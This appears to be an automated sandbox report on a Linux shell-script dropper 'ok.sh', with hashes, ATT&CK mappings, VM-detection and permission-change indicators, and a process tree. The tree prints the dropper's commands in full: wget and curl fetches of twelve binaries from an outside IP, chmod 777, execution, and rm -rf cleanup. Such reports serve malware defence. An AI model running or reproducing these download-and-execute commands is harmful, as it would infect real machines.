f4eed7244be63b1e1ef7597b8a8017cf7b2b3ec5f6ff3c6e2d94ce0e60220340

Analysis

max time kernel
12s
max time network
13s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/08/2026, 03:20

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General

Target
ok.sh
Size 1KB
Sample260830-dvw7bsxhqa
SHA256 f4eed7244be63b1e1ef7597b8a8017cf7b2b3ec5f6ff3c6e2d94ce0e60220340
MD5 e2d4e912a70ff25ac6f0618613346a69
SHA1 9d86d7629f716d367aae0fdc640404b941a17323
SHA512 a2083cb0df06ea28b2b5dda0b5f2ae98f7a8e529db86f13315e9307430a3ffa2c90a525e694103ed3fa0d10365b589b305ca5127981c18be81f5804536874541
TLSH
T13931A2DE450429721002CE9D737A358CB24EA6FB2C6FE7D09C491EA992483DCF221B5E
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
826	chmod
674	chmod
754	chmod
777	chmod
784	chmod
791	chmod
805	chmod
700	chmod
733	chmod
798	chmod
812	chmod
819	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/98019d	675	ok.sh
/tmp/ab6139	702	ok.sh
/tmp/cd7393	734	ok.sh
/tmp/9ccc21	756	ok.sh
/tmp/3eda0e	778	ok.sh
/tmp/d115e5	785	ok.sh
/tmp/dedebb	792	ok.sh
/tmp/2de957	799	ok.sh
/tmp/8c69a2	806	ok.sh
/tmp/afcc4c	813	ok.sh
/tmp/62f138	820	ok.sh
/tmp/a55652	827	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/d115e5	curl
File opened for modification	/tmp/dedebb	curl
File opened for modification	/tmp/2de957	curl
File opened for modification	/tmp/98019d	curl
File opened for modification	/tmp/cd7393	curl
File opened for modification	/tmp/3eda0e	curl
File opened for modification	/tmp/8c69a2	curl
File opened for modification	/tmp/afcc4c	curl
File opened for modification	/tmp/62f138	curl
File opened for modification	/tmp/a55652	curl
File opened for modification	/tmp/ab6139	curl
File opened for modification	/tmp/9ccc21	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:645
- /usr/bin/wget
  wget http://5.182.210.174/98019d
  2⤵
  PID:650
- /usr/bin/curl
  curl -O http://5.182.210.174/98019d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod 777 98019d
  2⤵
  - File and Directory Permissions Modification
  PID:674
- /tmp/98019d
  ./98019d bc
  2⤵
  PID:675
- /bin/rm
  rm -rf 98019d
  2⤵
  PID:677
- /bin/rm
  rm -rf 98019d.1
  2⤵
  PID:678
- /usr/bin/wget
  wget http://5.182.210.174/ab6139
  2⤵
  PID:679
- /usr/bin/curl
  curl -O http://5.182.210.174/ab6139
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:682
- /bin/chmod
  chmod 777 ab6139
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/ab6139
  ./ab6139 bc
  2⤵
  PID:702
- /bin/rm
  rm -rf ab6139
  2⤵
  PID:705
- /bin/rm
  rm -rf ab6139.1
  2⤵
  PID:706
- /usr/bin/wget
  wget http://5.182.210.174/cd7393
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://5.182.210.174/cd7393
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 cd7393
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/cd7393
  ./cd7393 bc
  2⤵
  PID:734
- /bin/rm
  rm -rf cd7393
  2⤵
  PID:736
- /bin/rm
  rm -rf cd7393.1
  2⤵
  PID:737
- /usr/bin/wget
  wget http://5.182.210.174/9ccc21
  2⤵
  PID:738
- /usr/bin/curl
  curl -O http://5.182.210.174/9ccc21
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 9ccc21
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/9ccc21
  ./9ccc21 bc
  2⤵
  PID:756
- /bin/rm
  rm -rf 9ccc21
  2⤵
  PID:759
- /bin/rm
  rm -rf 9ccc21.1
  2⤵
  PID:760
- /usr/bin/wget
  wget http://5.182.210.174/3eda0e
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://5.182.210.174/3eda0e
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod 777 3eda0e
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/3eda0e
  ./3eda0e bc
  2⤵
  PID:778
- /bin/rm
  rm -rf 3eda0e
  2⤵
  PID:780
- /bin/rm
  rm -rf 3eda0e.1
  2⤵
  PID:781
- /usr/bin/wget
  wget http://5.182.210.174/d115e5
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://5.182.210.174/d115e5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 d115e5
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/d115e5
  ./d115e5 bc
  2⤵
  PID:785
- /bin/rm
  rm -rf d115e5
  2⤵
  PID:787
- /bin/rm
  rm -rf d115e5.1
  2⤵
  PID:788
- /usr/bin/wget
  wget http://5.182.210.174/dedebb
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://5.182.210.174/dedebb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 dedebb
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/dedebb
  ./dedebb bc
  2⤵
  PID:792
- /bin/rm
  rm -rf dedebb
  2⤵
  PID:794
- /bin/rm
  rm -rf dedebb.1
  2⤵
  PID:795
- /usr/bin/wget
  wget http://5.182.210.174/2de957
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://5.182.210.174/2de957
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod 777 2de957
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/2de957
  ./2de957 bc
  2⤵
  PID:799
- /bin/rm
  rm -rf 2de957
  2⤵
  PID:801
- /bin/rm
  rm -rf 2de957.1
  2⤵
  PID:802
- /usr/bin/wget
  wget http://5.182.210.174/8c69a2
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://5.182.210.174/8c69a2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:804
- /bin/chmod
  chmod 777 8c69a2
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/8c69a2
  ./8c69a2 bc
  2⤵
  PID:806
- /bin/rm
  rm -rf 8c69a2
  2⤵
  PID:808
- /bin/rm
  rm -rf 8c69a2.1
  2⤵
  PID:809
- /usr/bin/wget
  wget http://5.182.210.174/afcc4c
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://5.182.210.174/afcc4c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 afcc4c
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/afcc4c
  ./afcc4c bc
  2⤵
  PID:813
- /bin/rm
  rm -rf afcc4c
  2⤵
  PID:815
- /bin/rm
  rm -rf afcc4c.1
  2⤵
  PID:816
- /usr/bin/wget
  wget http://5.182.210.174/62f138
  2⤵
  PID:817
- /usr/bin/curl
  curl -O http://5.182.210.174/62f138
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 62f138
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/62f138
  ./62f138 bc
  2⤵
  PID:820
- /bin/rm
  rm -rf 62f138
  2⤵
  PID:822
- /bin/rm
  rm -rf 62f138.1
  2⤵
  PID:823
- /usr/bin/wget
  wget http://5.182.210.174/a55652
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://5.182.210.174/a55652
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod 777 a55652
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/a55652
  ./a55652 bc
  2⤵
  PID:827
- /bin/rm
  rm -rf a55652
  2⤵
  PID:829
- /bin/rm
  rm -rf a55652.1
  2⤵
  PID:830

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

98019d

Path /tmp/98019d
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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